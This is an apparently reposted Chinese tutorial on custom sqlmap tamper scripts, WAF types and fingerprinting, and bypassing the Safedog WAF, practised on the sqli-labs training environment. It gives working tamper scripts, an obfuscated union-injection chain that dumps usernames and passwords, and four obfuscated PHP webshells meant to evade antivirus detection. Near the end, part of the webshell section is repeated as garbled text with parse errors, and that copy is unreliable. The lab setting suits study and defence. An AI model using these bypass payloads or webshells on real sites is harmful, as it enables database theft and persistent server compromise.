定制SQLmap和WAF绕过

news2024/12/29 10:38:34

1. SQLmap tamper 脚本编写

以sqli-lab第26关为例

输入?id=1’ --+,报错字符型注入

image-20230922173705518

考虑闭合问题,输入?id=1’ and '1,但是回显中and和空格消失了,可知and和空格被过滤了

image-20230922174624408

image-20230922174720362

因为and和or被过滤考虑使用双写绕过手段,空格使用其他字符进行代替例如%0a或%a0

SQL注入常见绕过技巧

image-20230922191147666

使用SQLmap扫描,结果无SQL注入漏洞可是明明手动测试存在SQL注入漏洞但是SQLmap竟然没有扫描出来,是因为SQLmap在进行注入的时候没有合适的绕过手法,被过滤掉了,那么就需要我们对SQLmap发送的payload进行编码。因为这样SQLmap为我们提供了插件tamper,对SQLmap进行改造

image-20230922192857019

SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本(可以理解为是一个sqlmap自带的脚本集)有时候并不是特别好用,需要根据实际情况定制Tamper脚本。

sqlmap,Tamper详解及使用指南 – WebShell’S Blog

在SQLmap的Tamper脚本中新建一份文件,sqli-lab-26.py,使用这个文件需要搜索并替换

搜索并替可以使用相关的函数replace也可以使用正则re.sub

添加:–technique U 表示指定联合查询


import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    <空格>              %a0
    and                 anANDd
    --+                 and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)#"," and '1",payload)        #使用?i表示不区分大小写
    # payload = re.sub(r"(?i)'--+'"," and '1",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i) ","%A0",payload)

    return payload

image-20230922212817684

image-20230922212946095

python ./sqlmap.py -u "http://192.168.16.177/sqli-labs/Less-26/?id=1" --tamper sqli-lab_26:表示使用sqlmap中tamper脚本集中的脚本名字叫sqli-lab_26的脚本

image-20230922213150507

2. WAF

WAF(Web Application Firewall)的中文名称叫做“Web 应用防火墙”,利用国际上公认的一种说法,WAF 的定义是这样的:Web 应用防火墙是通过执行一系列针对HTTP| HTTPS 的安全策略来专门为Web 应用提供保护的一款产品。通过从上面对WAF 的定义中,我们可以很清晰的了解到,WAF 是一种工作在应用层的、通过特定的安全策略来专门为Web 应用提供安全防护的产品。

2.1 常见WAF

看图识WAF-收集常见WAF拦截页面

2.1.1 WAF的类别

根据不同的分类方法,WAF可以有多种分类。

根据产品形态划分:

产品形态说明典型产品
软WAF以软件形式装在所保护的服务器上的WAF, 由于安装在服务器上,可以接触到服务器上的文件, 直接检测服务器上是否存在WebShell、是否有文件被创建等。安全狗 云锁 D 盾
硬WAF以硬件形式部署在链路中, 支持多种部署方式部署到Web 服务器前端。 识别外部异常流量,并进行攻击拦截。天清WAG
云WAF一般以反向代理的形式工作, 通过配置NS 记录或CNAME 记录, 使对网站的请求报文优先经过WAF 主机, 经过WAF 主机过滤后, 将认为无害的请求报文再发送给实际网站服务器进行请求, 可以说是带防护功能的CDN。阿里云云盾 腾讯云WAF 安恒玄武盾
内置WAF网站系统内置的WAF 也可以说是网站系统中内置的过滤, 直接镶嵌在代码中,相对来说自由度高, 一般有以下这几种情况: 输入参数强制类型转换(intval 等)。 输入参数合法性检测。 关键函数执行(SQL执行、页面显示、命令执行等)前, 对经过代码流程的输入进行检测。 对输入的数据进行替换过滤后再继续执行代码流程 (转义/替换掉特殊字符等)。 网站系统内置的WAF与业务更加契合, 在对安全与业务都比较了解的情况下, 可以更少地收到误报与漏报。

参考:

WAF(web应用防火墙)浅析

2.1.2 WAF的工作原理

WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录。

WAF 处理流程说明
预处理预处理阶段首先在接收到数据请求流量时 会先判断是否为HTTP/HTTPS 请求, 之后会查看此URL 请求是否在白名单之内, 如果该URL 请求在白名单列表里,直接交给后端Web 服务器进行响应处理, 对于不在白名单之内的对数据包解析后进入到规则检测部分。
规则检测每一种WAF 产品都有自己独特的检测规则体系, 解析后的数据包会进入到检测体系中进行规则匹配, 检查该数据请求是否符合规则,识别出恶意攻击行为。
处理模块针对不同的检测结果,处理模块会做出不同的安全防御动作, 如果符合规则,则交给后端Web 服务器进行响应处理, 对于不符合规则的请求会执行相关的阻断、记录、告警处理。
日志记录WAF 在处理的过程中也会将拦截处理的日志记录下来, 方便用户在后续中可以进行日志查看分析。

参考

WAF机制及绕过方法总结:注入篇

2.1.3 WAF部署模式

参考:

硬件WAF部署模式总结:透明代理、反向代理、路由模式及端口镜像模式

2.1.4 WAF指纹识别

"指纹"就是特定特征的字符串或行为。

指纹特征字段
响应状态码‘405 method not allow’
HTTP 响应报文头部字段Server Cookie X-Powered-By 特殊字段
响应正文特征‘errors.aliyun.com’ ‘waf.tencent-cloud.com’
行为阻止响应页面

参考:

【干货分享丨Python 安全爱好者专题】WAF 指纹探测

2.1.5 WAF指纹识别工具

wafw00f

identywaf

2.2 SQLi Bypass

2.2.1 Bypass 思路

2.2.1.1 层面问题

系统层面

组件层面:HPP

代码层面:变形、混淆等操作

WAF层面

2.2.1.2 HTTP协议问题

畸形请求:请求方法lili

持久链接

分块传送

2.2.2 绕过分析

字符绕过方法
and/*!14400and*/
order by/**/order/*/%0a*a*/by/**/
union selectunion/*!88888cas*//*/%0a*a*/select/**/ union/*!88888cas*/%a0/*/*!=*/select/**/
database()database(/*%%!AJEST%%%%*/) database(/*!/*/**%0f*/*/)
from information_schema.tables/*!from–%0f/*%0ainformation_schema.tables*/
from information_schema.columns/*!from–%0f/*%0ainformation_schema.columns*/
count(*)count(1)
/*!14400and*/
mysql的内联注释,利用特殊字符对and做混淆。

以http://10.4.7.139/sqli-labs/Less-1/ 为例:

?id=1' --+
?id=2' --+
?id=2' /*!14400and*/ 1=1 --+
?id=2' /*!14400and*/ 1=2 --+
?id=2' /**/order/*/%0a*a*/by/**/ 4 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,3 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,database(/*%%!AJEST%%%%*/) --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where table_schema=database(/*%%!AJEST%%%%*/) --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where table_schema=database(/*%%!AJEST%%%%*/) /*!14400and*/ table_name='users'--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,count(*) /*!from--%0f/*%0ausers*/--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
%0f/*%0ausers*/ limit 1,1--+

2.2.3 绕过安全狗思路

  • 脏数据
  • 大小写转换
  • 双写
  • 内联注释:

以sqli-lab第1关为例

使用bp抓包发送重发器,发现被安全狗拦截

image-20230923094831126

新建文件sqli-lab_1.py,对于GET请求的话脏数据有长度限制,但是符合POST请求

import requests


headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537."
}

i=0
while True:
    i+=1
    url = f"http://192.168.16.183/sqli-labs-master/Less-1/?id=1'/*{'xujie' * i}*/and 1=2 --+"

    res = requests.get(url= url,headers= headers)

    if ("<title>拦截页面</title>" not in res.text) or res.status_code == 414:       #当绕过安全狗或者服务器报错时停止
        print(i)
        print(url)
        break

使用脏数据无法绕过安全狗,使用内敛注释进行绕过,将and替换为 /*!14400and*/

image-20230923104609804

查询列,将orderby替换为/**/order/*/%0a*a*/by/**/

image-20230923105253048

image-20230923105344760

'''
     and /*!14400and*/
     order by /**/order/*/%0a*a*/by/**/
     union select union/*!88888cas*//*/%0a*a*/select/**/
     union/*!88888cas*/%a0/*/*!=*/select/**/
     database() database(/*%%!xxx%%%%*/)
     database(/*!/*/**%0f*/*/)
     from information_schema.tables /*!from--%0f/*%0ainformation_schema.tables*/
     from information_schema.columns /*!from--%0f/*%0ainformation_schema.columns*/
     count(*) count(1)
     as /*!14400as*/
     BENCHMARK(5000000,MD5(0x50774459))
     sleep(/*%%!AJEST%%%%*/5)
'''
#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    and                                 
            /*!-*/-/*and*/
    order by                            
            /**/order/*/%0a*a*/by/**/
    union all select                        
            /*!union/*/*!%0b-/*!88888cas*/select*/
    from information_schema.tables      
            /*!from--%0f/*%0ainformation_schema.tables*/
    from information_schema.SCHEMATA      
            /*!from--%0f/*%0ainformation_schema.SCHEMATA*/
    from information_schema.columns
            /*!from--%0f/*%0ainformation_schema.columns*/
    [  as]
            /*!14400as*/
    char
            /*!14400char*/
    database\(\)
            database(/*!/*/**AJEST%0f*/*/)
    #                                   -- 
    """
    payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
    payload = re.sub(r'(?i)order by', "/**/order/*/%0a*a*/by/**/", payload)
    payload = re.sub(r'(?i)union all select', "/*!union/*/*!%0b-/*!88888cas*/select*/", payload)
    payload = re.sub(r'(?i)from information_schema.tables', "/*!from--%0f/*%0ainformation_schema.tables*/", payload)
    payload = re.sub(r'(?i)from information_schema.columns', "/*!from--%0f/*%0ainformation_schema.columns*/", payload)
    payload = re.sub(r'(?i)from information_schema.SCHEMATA', "/*!from--%0f/*%0ainformation_schema.SCHEMATA*/", payload)
    payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
    payload = re.sub(r"(?i)char","/*!14400char*/",payload)
    payload = re.sub(r"(?i)database\(\)","database(/*!/*/**AJEST%0f*/*/)",payload)
    payload = re.sub(r"(?i)#","-- ",payload)
    payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
    
    return payload

python ./sqlmap.py -u "http://192.168.16.183/sqli-labs-master/Less-1/?id=1" --tamper safedog_bypass --random-agent 

image-20230923112324708

image-20230923112447551

image-20230923114756552

3. 一句话木马免杀

3.1 查杀方式

  • 静态检测

  • 动态检测

3.2 绕过方式

HTTP请求数据包变形:分块传送等。
一句话木马的变形,实现动态免杀。

3.3 Example

3.3.1 Example1

<?php
$ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');

$ajest($_REQUEST[777]); 
?>

3.3.2 Example2

<?php
class Bypass{
	public $name;
	public $male;
	function destruct ()
    	$a = $this->name;
		$a($this->male);
	}
}
unserialize($POST['777']);
//wuhu=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST["x"])";} 
?>

3.3.3 Example3

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1"; 
}
function test_print($item2, $key) 
{
	echo "$key. $item2<br />\n"; 
}
echo "Before ...:\n"; array_walk($fruits, 'test_print');
$a =array_keys($fruits); print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wuhu']; 
@$q($r);
?>

3.3.4 Example4

<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

nt($item2, KaTeX parse error: Expected '}', got 'EOF' at end of input: key) { echo "key. KaTeX parse error: Undefined control sequence: \n at position 12: item2<br />\̲n̲"; } echo "Bef…fruits, ‘test_print’);
a = a r r a y k e y s ( a =array_keys( a=arraykeys(fruits); print_r($a);
m = m = m=a[0].$a[1];
$n =‘er’;
$q = m . m. m.n.‘t’; //assert
$r = R E Q U E S T [ ′ w u h u ′ ] ; @ _REQUEST['wuhu']; @ REQUEST[wuhu];@q($r);
?>


### 3.3.4 Example4

```php
<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1033919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023华为杯数学建模D题第三问——区域双碳目标情景设计样例

在第二问建立好预测模型的基础上&#xff0c;如何设计第三问所说的区域双碳路径&#xff0c;以对宏观政策进行指导&#xff01; 采用STIRPA的基本模型对中国碳达峰时间进行预测&#xff0c;对该模型公式两边取对数得到&#xff1a; 其中&#xff1a;P为人口&#xff0c;A为GDP…

NIO圣经:一次穿透NIO、Selector、Epoll底层原理

此pdf电子书&#xff0c;是尼恩架构团队持续升级、持续迭代的作品。 目标是&#xff0c;通过不断升级、持续迭代&#xff0c;为大家构筑一个超底层、超强悍的高性能技术内功。 原 &#xff1a;《九阳真经&#xff1a;彻底明白操作系统 select、epoll 核心原理》 改&#xff1…

2023年研赛华为杯选题人数发布

选题人数发布&#xff01;经过长达30个小时&#xff0c;各个平台的相关选题投票、相关文章阅读量等各项数据进行统计&#xff0c;利用之前的评估办法&#xff08;详见注释&#xff09;。在开赛后30小时&#xff0c;我们基本确定各个赛题选题人数&#xff0c;大致为 题号选题人数…

时间轮算法

思考 假如现在有个任务需要3s后执行&#xff0c;你会如何实现&#xff1f; 线程实现&#xff1a;让线程休眠3s 如果存在大量任务时&#xff0c;每个任务都需要一个单独的线程&#xff0c;那这个方案的消耗是极其巨大的&#xff0c;那么如何实现高效的调度呢&#xff1f; 时…

兰贡生物:打造生物医药研发“独角兽”

当我们站在医学科学的最前沿&#xff0c;探索着无尽的健康奥秘时&#xff0c;生物制药行业正经历着前所未有的变革和机遇。新的疾病不断涌现&#xff0c;现有的治疗方法也在不断演进&#xff0c;这需要有着创新精神和科学追求的企业来推动新药研发的进程。值此时代背景下&#…

网络安全—黑客技术—自学笔记

目录梗概 一、自学网络安全学习的误区和陷阱 二、学习网络安全的一些前期准备 三、网络安全学习路线 四、学习资料的推荐 想自学网络安全&#xff08;黑客技术&#xff09;首先你得了解什么是网络安全&#xff01;什么是黑客&#xff01; 网络安全可以基于攻击和防御视角来…

Linux常用命令—find命令大全

文章目录 一、find命令常用功能1、find命令的基本信息如下。2、按照文件名搜索3、按照文件大小搜索4、按照修改时间搜索5、按照权限搜索举例&#xff1a;6、按照所有者和所属组搜索7、按照文件类型搜索8、逻辑运算符 一、find命令常用功能 1、find命令的基本信息如下。 命令名…

力扣213打家劫舍2(简单动态规划)

题目描述&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋&#xff0c;每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 &#xff0c;这意味着第一个房屋和最后一个房屋是紧挨着的。同时&#xff0c;相邻的房屋装有相互连通的防盗系统&#xff0c;如…

1790_给通过USB连接到树莓派的NTFS硬盘设置固定的挂载名称

全部学习汇总&#xff1a; GreyZhang/little_bits_of_raspberry_pi: my hacking trip about raspberry pi. (github.com) 我用过好几个树莓派形式的单板电脑&#xff0c;但是遇到过磁盘挂载位置不确定的时候。有些甚至不会自动挂载。这些行为跟对应的OS的行为是相关的&#xff…

Mallox勒索病毒:最新变种.mallox_lab袭击了您的计算机?

引言 在数字化时代&#xff0c;数据是我们生活和工作的重要组成部分&#xff0c;但同时也引发了各种网络威胁&#xff0c;.mallox_lab勒索病毒便是其中之一。这种恶意软件以其加密文件并勒索赎金的方式而闻名&#xff0c;给个人和组织带来了巨大的风险和损失。本文将深入探讨.…

【小沐学C++】C++ MFC中嵌入64位ActiveX控件(VS2017)

文章目录 1、简介1.1 MFC1.2 ActiveX 2、VS2017添加ActiveX控件结语 1、简介 1.1 MFC Microsoft 基础类 (MFC) 库针对大部分 Win32 和 COM API 提供面向对象的包装器。 虽然此包装器可用于创建极为简单的桌面应用程序&#xff0c;但当你需要开发具有多个控件的更复杂的用户界…

你真的懂ArrayList吗?

ArrayList底层原理 ​ 1.ArrayList动态扩容的方法&#xff1f; 使用空参创建集合&#xff0c;在底层创建一个长度默认为0的数组&#xff1b;添加第一个元素时&#xff0c;底层会创建一个数组长度为10的数组&#xff1b;存满的时候&#xff0c;数组会自动扩容1.5倍&#xff1b;…

【算法思想-排序】按出现频率排序 - 力扣 1636

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kuan 的首页,持续学…

基于STM32+华为云IOT设计的智能车库管理系统

一、项目介绍 随着城市化进程和汽车拥有率的不断提高&#xff0c;停车难的问题也日益凸显。在城市中&#xff0c;停车场是一个非常重要的基础设施&#xff0c;但是传统的停车场管理方式存在很多问题&#xff0c;比如车位难以管理、停车费用不透明等。为了解决这些问题&#xf…

基于Vue+ELement搭建登陆注册页面实现后端交互

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《ELement》。&#x1f3af;&#x1f3af; &#x1…

C语言入门Day_24 函数与指针

目录 前言&#xff1a; 1.指针和数组 2.函数和指针 3.易错点 4.思维导图 前言&#xff1a; 我们知道数组是用来存储多个数据的&#xff0c;以及我们可以用指针来指向一个变量。那么我们可以用指针来指向一个数组中的数据么&#xff1f; 指针除了可以像指向一个变量一样指…

【C++心愿便利店】No.6---C++之拷贝构造函数

文章目录 一、拷贝构造函数的引入二、拷贝构造函数 &#x1f467;个人主页&#xff1a;小沈YO. &#x1f61a;小编介绍&#xff1a;欢迎来到我的乱七八糟小星球&#x1f31d; &#x1f4cb;专栏&#xff1a;C 心愿便利店 &#x1f511;本章内容&#xff1a;拷贝构造函数 记得 评…

python安全工具开发笔记(四)——python网络编程

一、C/S架构 什么是C/S架构 C : Client S : Server。客户机和服务器结构。 Server 唯一的目的就是等待Client 的请求&#xff0c;Client 连上 Server 发送必要的数据&#xff0c;然后等待Server端完成请求的反馈。 C/S网络编程 Server端进行设置&#xff0c;首先创建一个通信…

怎么选择AI伪原创工具-AI伪原创工具有哪些

在数字时代&#xff0c;创作和发布内容已经成为了一种不可或缺的活动。不论您是个人博主、企业家还是网站管理员&#xff0c;都会面临一个共同的挑战&#xff1a;如何在互联网上脱颖而出&#xff0c;吸引更多的读者和访客。而正是在这个背景下&#xff0c;AI伪原创工具逐渐崭露…

ReadPaper论文阅读工具

之前看文献一直用的EndNote嘛&#xff0c;但是突然发现了它的一个弊端&#xff0c;就是说每次没看完退出去之后&#xff0c;下次再接着看的时候它不能保留我上一次的位置信息&#xff0c;又要重头开始翻阅&#xff0c;这让我感到很烦躁哈哈。&#xff08;当然也不知道是不是我哪…